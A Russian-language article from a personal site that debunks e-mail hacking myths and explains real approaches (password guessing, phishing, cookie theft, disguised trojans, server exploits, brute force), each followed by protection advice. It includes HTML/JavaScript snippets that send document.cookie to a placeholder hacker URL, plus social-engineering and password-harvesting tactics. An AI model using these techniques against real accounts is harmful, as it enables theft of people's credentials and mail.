Nickolay.info. Тексты. Мифы и правда о взломе E-mail

Мифы и правда о взломе E-mail

На форумах часто встречаются обсуждения взлома электронных ящиков, а также предложения такого взлома или просьбы о нём. В 99% случаев говорящие либо просто не понимают, о чём речь, либо пользуются одним из распространённых в Сети мифов. Давайте вкратце рассмотрим основные ошибки и заблуждения на эту тему и предостережёмся от их бездумного повторения.

Можно выделить несколько основных подходов к взлому "мыла". Конечно, при реальных взломах эти способы используются не изолированно, а все в комплексе и дополняют друг друга.

1. Голая социальная инженерия

На самом деле, этим способом и осуществляется 99% "взломов". Суть в том, что пароль подбирается, исходя из открытой информации о жертве или жертва сама вводит и высылает Вам нужный пароль :)

Многие пользователи ставят в качестве пароля к почтовому ящику различные комбинации цифр года, месяца и дня рождения, своё имя или имя жены (ребёнка), а также "нечто простое, чтобы не забыть" - пароли вроде qwerty, 123456, пароль и т.п. распространены гораздо шире, чем можно подумать. В Сети несложно найти как списки таких популярных паролей, так и настраиваемые брутфорсеры (способ 5), которые переберут такие частые пароли и комбинации. Нормальный пароль поломать таким способом, конечно, нереально.

Часто бывает и так, что пароль навскидку не подбирается, но "секретный вопрос для восстановления пароля" таков, что грех не воспользоваться - "Девичья фамилия матери" или "Ваш рост в сантиметрах" - редко кто вводит "315" или "59". Всю эту информацию при желании несложно получить из открытых источников.

Другое дело, что никто не станет этим заниматься, если "цена вопроса" невысока - например, ревнивый муж мечтает почитать переписку ветреной жены :) Ну или станет заниматься, но за деньги, адекватные потраченному времени.

Вторая разновидность способа связана с рассылкой различных вредоносных скриптов (способ 3) или просто HTML-документа с формой, в которую жертва введёт пароль. Много примеров таких писем приведено в этой моей статье, посмотрите.

Еще один неочевидный способ связан с приглашением жертвы в какой-нибудь виртуальный клуб (сообщество), где требуется регистрация и где хакер имеет права администратора. Регистрируясь, пользователь укажет логин и пароль, а пароли, увы, большинство ставит везде одни и те же. Для простоты на таких "паролесборных" сообществах обычно даже пароли не шифруют, а хранят в открытом виде. У меня невинная, но интересная почтовая форма-рассылка собрала за небольшой срок более 2000 ящиков и 70% паролей, по данным брутфорсера, к ящикам подошли! Я, конечно, ничего из этого не использовал, но если бы хотел...

Приходилось пару раз пользоваться и "резервным E-mail", в качестве которого люди на вполне надёжном крупном бесплатном сервере указывали свой корпоративный ящик, висящий на устаревшей операционке с криворуким админом... тогда способ 4.

С самой зари появления электронных ящиков бродят по Сети и мифы об уязвимостях почтовых служб, удивительно, что некоторые попадаются на удочку до сих пор. Вот типичный пример такого текста с "секретного сайта о взломе E-mail":

Скорее всего, вы слышали о российской бесплатной службе электронной почты — портале mail.ru . По сей день этот портал остаётся одним из самых популярных. Ходят слухи, что трафик этого сайта контролирует ФСБ. Так вот, я расскажу вам, как можно получить доступ практически к любому ящику, расположенному на этом сервере. Причём этот доступ не будет ограничиваться чтением входящей почты — вы получите полноценное владение учётной записью (отправление и чтение писем, смена пароля, контактной информации и т. д.). Единственная проблема — надо иметь уже зарегистрированный адрес на mail.ru. Почему-то приём не срабатывает с недавно созданными ящиками.

Вы можете удивиться, как такой сложный сайт с несколькими серверами и опытными администраторами может позволять человеку со стороны управлять почтовыми записями своих пользователей? Ответ прост: найденная мною уязвимость очень свежая (последняя проба — 3.09.2004). Так что, торопитесь, пока её не устранили.

СПОСОБ. Обнаружил я его чисто случайно. Оказывается, на mail.ru зарегистрирован аккаунт pwd.rmnd@mail.ru. Но аккаунт этот не простой — он управляется роботом и занимается тем, что высылает пароли забывчивым пользователям. То есть, после того, как пользователь ввёл в специальную форму всю необходимую информацию для восстановления пароля (дата рождения и ответ на секретный вопрос), она посылается роботу, который генерирует новый пароль, который в свою очередь и отображается на сайте. Всё бы хорошо, но роботу можно послать запрос вида логин1:пароль;логин2, и если указанный пароль подойдёт к первому логину, то робот вышлет пароль для второго!

Итак, что необходимо сделать:

  1. Зайдите на mail.ru
  2. Введите свои логин и пароль и войдите
  3. Нажмите на ссылку «Написать письмо»
  4. Укажите в поле «Кому» адрес pwd.rmnd@mail.ru
  5. Укажите в поле «Тема» строку вида: <ваш логин>:<ваш пароль>;<логин жертвы>. Например, если вы хотите узнать пароль от ящика someuser@mail.ru, если ваш логин — hacker, а пароль — qwe123, то напишите hacker:qwe123;someuser.
  6. Нажмите кнопку «Отправить».

Всё! Теперь через некоторое время (зависит от загруженности сервера) на ваш ящик придёт письмо примерно такого содержания:

[28.08.2004 16:59 GSM+03]
Forgotten bot
 
Password requested for user someuser
 
uJY4fL9

ПРЕДУПРЕЖДЕНИЕ!

Ваши логин и пароль должны быть верными, иначе робот не ответит.

Как видите, способ несложный. Но, повторю, действовать надо быстро — через некоторое время эту дыру так или иначе  залатают.

Как Вы понимаете, никакой уязвимости и никакого робота никогда не существовало, адрес "хакера", на который Вы своими руками отошлёте свой пароль, и есть pwd.rmnd@mail.ru, а "действовать надо быстро" потому, что такие ящики мошенников быстро прикрывают. Но они не унывают и создают новые. Встречаются весьма "навороченные" псевдо-скрипты, которые якобы надо куда-то отправить или где-то выполнить, но суть всегда одна - Вы должны куда-то отправить свой пароль :)

Другая популярная разновидность псевдовзлома связана уже с уголовно наказуемым мошенничеством. "Хакер" даёт объявление о взломе любых ящиков, а в доказательство представляет Вам "письмо, отправленное с этого ящика", или "скриншот экрана ящика жертвы", или "возвращает Ваше письмо". Естественно, Вы радостно бежите раскошеливаться. Увы, многие люди до сих пор не знают простейших фактов:

Как избежать взлома: для ценных ресурсов используйте только уникальные пароли длиной не менее 9-10 символов, представляющих собой буквы в разных регистрах, цифры и специальные знаки. Периодически меняйте эти пароли, хотя бы раз в полгода. Если указываете "резервный ящик" - подумайте, а надёжнее ли он "защищаемого" таким способом? Не пишите ерунды в вопросах о восстановлении пароля, лучше совсем не заполнять это поле. Вводите пароли только на главной странице почтового сервиса, адрес которого Вам известен. Никогда, ни под каким видом и никому не отправляйте свой пароль. К любым вложенным файлам относитесь по принципу "Не уверен на 100% - не открывай". Попросите опытных людей настроить Вам почтовый клиент (в микрософтовском Outlook Express устаревших версий, например, по умолчанию включена автозагрузка писем при просмотре заголовка с фактическим выполнением любого внедрённого в письмо HTML-кода), брандмауэр (если ничего о нём не слышали - срочно отключайтесь от Инета и не приходите, пока не узнаете :) и антивирус (который у Вас - лицензионный и постоянно обновляется, не так ли?). Используйте "безопасные" способы сохранения вложенных объектов с последующим просмотром их оффлайн. Для Internet Explorer, например, лучше нажать правой кнопкой мыши на ссылке и выбрать "Сохранить объект как...". Просмотр онлайн может представлять угрозу (см. способы 2 и 3). Если сервис предлагает ввести дополнительные анкетные данные, для ценного ресурса вводите как можно меньше и неточно. Ведь "восстановлением пароля" по этим данным через имеющийся в системе Web-интерфейс в перспективе можете заняться не только Вы, но и злоумышленник.

2. Кража cookie-файлов или сессии пользователя

Ещё недавно способ относился к очень распространённым, сегодня, с повышением надёжности почтовых серверов, успешно используется реже. Но используется. Сookie-файлы - это текстовые файлы, хранящиеся на Вашем компьютере в скрытой папке с именем вида C:\Documents and Settings\ВАШ_ПРОФИЛЬ\Cookies. Создают их очень многие сервера, в том числе и почтовые. Использование Сookie само по себе - не "зло", они бывают необходимы и удобны для сохранения персональной информации пользователя и управления сессиями. Конечно, разработчики стандарта позаботилсь и о безопасности - вообще говоря, прочитать данные из Cookie может только тот web-сайт, который эти Cookie поставил. Но если Вы пользуетесь Web-интерфейсом, это ограничение теряет актуальность - Вы ведь на этом сайте и находитесь :)

Теперь жизненная ситуация: мы проходим авторизацию на сайте, при входе в почтовый ящик сервер создаёт нам Cookie-файл, куда записывает код сессии пользователя, реже зашифрованный алгоритмом md5 пароль, а еще реже (но случается, особенно на древних корпоративных сайтах!) - просто пароль в открытом виде. Зачем это нужно? А затем, чтоб переходя по страницам сайта, мы не авторизовались каждый раз, вводя логин и пароль. Вместо этого сервер читает из Cookie Ваши данные и сравнивает с данными, назначенными авторизованному пользователю. Если все сходится, Вы читаете свою почту. Эти данные имеют ограниченное время хранения, которое зависит от настроек сервиса. По истечении этого времени копия сессии, расположенная на сервере, удаляется и сессия становится нерабочей, так что нужно авторизоваться повторно (наверняка Вы сталкивались с таким).

Теперь, думаю, суть дела ясна. Получив свеженькие Cookies с Web-интерфейса почтового сервера, мы сможем без проблем попасть в чужой ящик, даже если пользователь уверен, что давно вышел из него (закрыл окно или вкладку браузера с почтовой службой :)

Остаётся вопрос, как их получить. Да по-разному можно, например, вот такой код

<html>
<head>
<body onLoad="do1()">
<script type="text/javascript">
 onImg = new Image();
 function do1 () {
  onImg.src = "http://url.хакерского.скрипта";
 }
</script>
Привет, здесь текст письма
</body>
</html>

фактически, скрыто обратится из клиентского скрипта к серверному, а если ещё попытаться переслать document.cookie (свойство JavaScript, хранящее данные Вашего Сookie), да серверный скрипт примет его JavaScript'овским же событием onload... Ну а получив Cookie и зная особенности конкретного почтового сервиса, хакер сможет уже на локальном компьютере с ними поработать, по крайней мере, это обеспечит высокое быстродействие подбора или расшифровки.

А ещё есть метод window.open, позволяющий Javascript'ом открыть новый URL во всплывающем окне, и есть "скрытые" фреймы iframe, есть свойство location.href, позволяющее переадресовать на нужный URL, ну и т.д. - любой программист за несколько минут может придумать несколько способов.

Кстати, вот этот простейший файл HTML одно время рекомендовался для проверки уязвимости ящика.

<html>
<head>
<body>
<script type="text/javascript">
alert(document.cookie)
</script>
</body>
</html>

Пошлите его себе вложенным документом с расширением .html и попробуйте открыть прямо на сервере в режиме онлайн. Если сервер, вместо предупреждения об опасном коде, показал окно с кодом - плохо Ваше дело, срочно этот сервис меняйте :)

Есть способы управления сессиями и системами авторизации и без Cookies - данные хранятся и передаются от страницы к странице самим браузером, а на сервере создаются временные файлы. Что ж, в этом случае остаются возможности по перехвату и подделке сессий, а также имеет смысл посмотреть на защиту самого сервера (п. 4).

Но чаще всего дело обстоит куда банальней - Вы щёлкнули, к примеру, по ссылочке с якорем "Посмотри моё фото!"

<a href="http://url.скрипта.хакера?+<script>document.cookie</script>">Посмотри моё фото!</a>

и даже фото, возможно, посмотрели - почему бы серверному скрипту его не показать? - а куки уже ушли параметром URL-адреса :) Конечно, приведённый код крайне примитивен и нормальными серверами фильтруется, но что мешает проявить немного фантазии - встроить скрипт в тег показа картинки, например.

Наконец, сюда же можно отнести и реально существовавшие ошибки web-интерфейсов различных почтовых служб, например, подмену запросов после авторизации так, чтобы "влезть" в настройки чужого ящика. Но сегодня всё это давно исправлено, так что мифы о "серьёзных ошибках" в Rambler или Mail.ru, думаю, повторно рассматривать не будем.

Как избежать взлома: Предпочитайте надёжный и хорошо настроенный почтовый клиент Web-интерфейсам. Пользуйтесь только крупными, надёжными и долго существующими почтовыми службами. Не верьте тому, что рассказывают об уязвимостях Mail.Ru, Yahoo или Google. Всё это - крупные компании с очень квалифицированными программистами и админами, которые вполне отрабатывают свой хлеб. Гораздо чаще уязвимы как раз корпоративные и мелкие частные почтовики :) Отлючите в почтовой программе или в настройках Web-интерфейса автоматическую загрузку документов HTML, картинок, скриптов и всего, что можно. Не посещайте своих ценных и защищённых паролем ресурсов из подозрительных мест, таких как непонятные интернет-кафе, общедоступные компьютерные классы и т.п. Если пользуетесь Web-интерфейсами - после завершения работы с почтой нужно нажимать кнопку "Выход" в обязательном порядке. Привыкните прежде, чем щёлкнуть по любой ссылке в авторизованном режиме, посмотреть в строку состояния браузера - а куда на самом деле она ведёт? Если что-то непонятно или неочевидно - просто не открывайте эту ссылку. Или, если очень хочется, скопируйте её в буфер обмена и откройте только после выхода с ресурса.

3. Выполнение вредоносного кода на компьютере жертвы

Думаю, суть дела понятна. Злоумышленнику нужно установить Вам вредоносное приложение, которое уже и займётся сбором паролей и проч. - вплоть до полного "конспектирования" всего Вашего ввода с клавиатуры :) Это легче всего сделать, во-первых, если у мошенника есть физический доступ к Вашей машине, во-вторых, если Вы привыкли открывать всё подряд, полученное по почте, в-третьих, если Вас подготовить открыть то, что нужно хакеру, всё теми же методами "социальной инженерии".

Конечно, "ну-ка, лох, открой вирус!", никто не пишет :) Но при серьёзном взломе никто и не спешит. Скажем, "фото ню" с явно незнакомого адреса вряд ли откроет даже не слишком умный юзер. А вот если Вы предварительно, под видом этой девушки, познакомились с ним в социальной сети и обменялись несколькими сообщениями, да ещё и троян отправили не стандартный, который ловится антивирусом, а такой, от которого у Вас есть исходники и Вы способны поменять в нём пару байт... то далеко не каждый что-либо заподозрит, получив и сохранив, скажем, такой файл:

Троян, замаскированный под картинку

Здесь специально показаны слева - настоящая картинка, а справа - потенциальный троян, использующий тот же, что у картинок, значок и тот факт, что по умолчанию в Windows не включён показ расширений файлов, а многие пользователи так и оставляют. Конечно, всплывающие подсказки у файлов разные (обе показаны на картинке), но часто ли мы на них смотрим? А троян, при запуске, вполне может показать настоящее фото (что мешает внедрить такую возможность в программу?), запустить "шпиона", а затем удалить его тело из запущенного файла. При грамотном подходе и антивирус не всегда поможет.

Кроме шпионящих троянов, передающих Ваши данные злоумышленнику, существуют и снифферы, собирающие и анализирующие сетевой траффик, и сплит-атаки, использующие расщепление HTTP-запросов, и ещё ряд гадостей... стопроцентной защиты от всех шпионских и вирусных программ на сегодняшний день не существует, но соблюдение несложных мер безопасности позволит уменьшить вероятность взлома почти до нуля.

Как избежать взлома: используйте на компьютере связку файрвол (то же, что брандмауэр, стандартный есть в составе Windows XP и выше) + настроенный и обновляемый антивирус. Если чувствуете угрозу взлома, выходите в Сеть под ограниченной учётной записью, а не под администратором. Под ограниченной записью значительная часть пакости просто не сможет запуститься. Обновляйте Windows в автоматическом режиме свежими "заплатками" от Microsoft. Помните, что приложение можно замаскировать под самые разные виды файлов, поэтому не запускайте чужих и непонятных вложений в письма. Включите, в конце концов, показ расширений для всех файлов (в окне папки Windows XP - меню Сервис, Свойства папки, вкладка Вид, убрать флажок "Скрывать расширения для зарегистрированных типов файлов", нажать "Применить ко всем папкам"). Не пускайте "поработать за компьютером" людей, в которых Вы не уверены на 100%. Или только под "Гостем" :)

Наконец, не "подставляйтесь под вирус" сами, качая "генераторы кодов кредитных карт", "бесплатные кряки к любой программе", "пароли доступа к платным сайтам" и тому подобные вещи. Подавляющее большинство таких приложений - банальные трояны и вирусы, рассчитанные на неумных любителей халявы.

4. Взлом почтового сервера

Хм, если вкратце, то процесс таков: соединиться телнетом со 110 портом нужного сервера (типа telnet pop3.mail.ru 110), получить название и версию используемого на сервере софта, поискать для этого софта свеженький эксплойт. Потом получить права root на сервере и достать нужную информацию, пока админы не заделали уязвимость :)

Думаю, по краткости описания Вы поняли, что путь этот наименее реален, особенно, если речь идёт о крупных и авторитетных службах. Как уже говорилось, админы там - не ламеры :) И с другой стороны, представьте, что серьёзный хакер действительно взломал серьёзный почтовик, скажем, Mail.Ru, фактически он у него в кармане. По-вашему, у него нет лучшего способа распорядиться этой информацией, кроме как светиться на форумах с объявлениями о взломе ящиков за 5 долларов? :)

В теории, конечно, взломав сервер, можно действовать разными способами. Один распространённый (не только для почтовиков) вариант - возможность внедрить в исполняемые на сервере скрипты посторонний код, делающий то, что нужно хакеру, скажем, высылающий куда-то только что введённый в форму пароль. Другой способ - SQL-инъекции, основанные на внедрении в запрос к базе данных постороннего кода, извлекающего то, что изначально не предусматривалось. Третий способ связан с тем, о чём уже говорилось в пункте 1, например, если наш юзер зарегистрирован в каком-нибудь форуме, работающем на одном из распространённых бесплатных движков, то высока вероятность и того, что удастся найти работающий эксплойт для этого форума и того, что пароль юзера там - тот же, что на его почтовом ящике.

Как избежать взлома: по сути, можно повторить рецепты к пункту 3. Добавлю, что ценные ящики (как и другие ценные защищённые профили) должны быть на надёжных серверах, а пароли к ним, по возможности, уникальны.

5. Брутфорсинг

В сущности, это самый тупой способ. С помощью программы-брутфорсера мы перебираем пароли по словарю или все подряд, генерируя их из всех допустимых символов. С другой стороны, многопоточность современных операционок, быстрое увеличение вычислительных мощностей, внедрение параллельных и облачных вычислений делают способ не всегда бессмысленным. Некоторые специалисты по информационной безопасности даже полагают, что "вполне надёжными" сегодня можно считать уже только 12-значные (и выше) пароли. В этой статье приведён код простейшего брутфорсера на Delphi.

Не верьте только в платные или бесплатные "чудо-взломщики любых адресов E-mail". Это всегда или пустышки, или всё те же вирусы-трояны, так что, установив такое чудо, вместо взлома чужого ящика Вы легко можете потерять свой :)

Как избежать взлома: использовать длинные и уникальные пароли на ценные ресурсы.

6. Вместо заключения

Всегда задавайтесь полезным жизненным вопросом - а стоит ли игра свеч?

Реальный взлом E-mail - трудоёмкий и нудный процесс, требующий высокой квалификации и массы времени. Занимаясь этим самостоятельно, Вы, скорее всего, не получите ничего, кроме головной боли, разочарования в собственных силах, кучи потерянного времени и кучи вирусов в своей системе :)

Специалистов, которые действительно могут сделать это, очень немного, их время дорого стоит и едва ли им будет интересно заниматься взломом ящика Вашей подружки за Ваши 100 долларов :) 99,9% подобных объявлений - откровенное надувательство. Кстати, настоящие спецы работы и не ищут - она сама их находит, справиться бы с тем, что есть...

Получить важную информацию о ком-то с помощью взлома E-mail можно только в редких случаях, есть масса более простых способов.

Восстанавливать свой утерянный ящик, особенно на бесплатном хостинге, тоже имеет смысл далеко не всегда. Пожалуй, ваш ящик представляет интерес лишь в тех случаях, когда Вы - известная публичная персона или сам по себе адрес таков, что может стоить денег - vasya@mail.ru, например, явно можно реализовать, в отличие от какого-нибудь vasya_1979... ну а на корпоративном сервере и задача неактуальна - просто попросите админа восстановить ящик.

В общем, чудеса, возможно, бывают, но только не в информационных технологиях.

Ссылки по теме:

 Пример брутфорсера на Delphi
 "Вам пришло 21 скрытое письмо" или новая форма сетевого жульничества

Рейтинг@Mail.ru

вверх гостевая; E-mail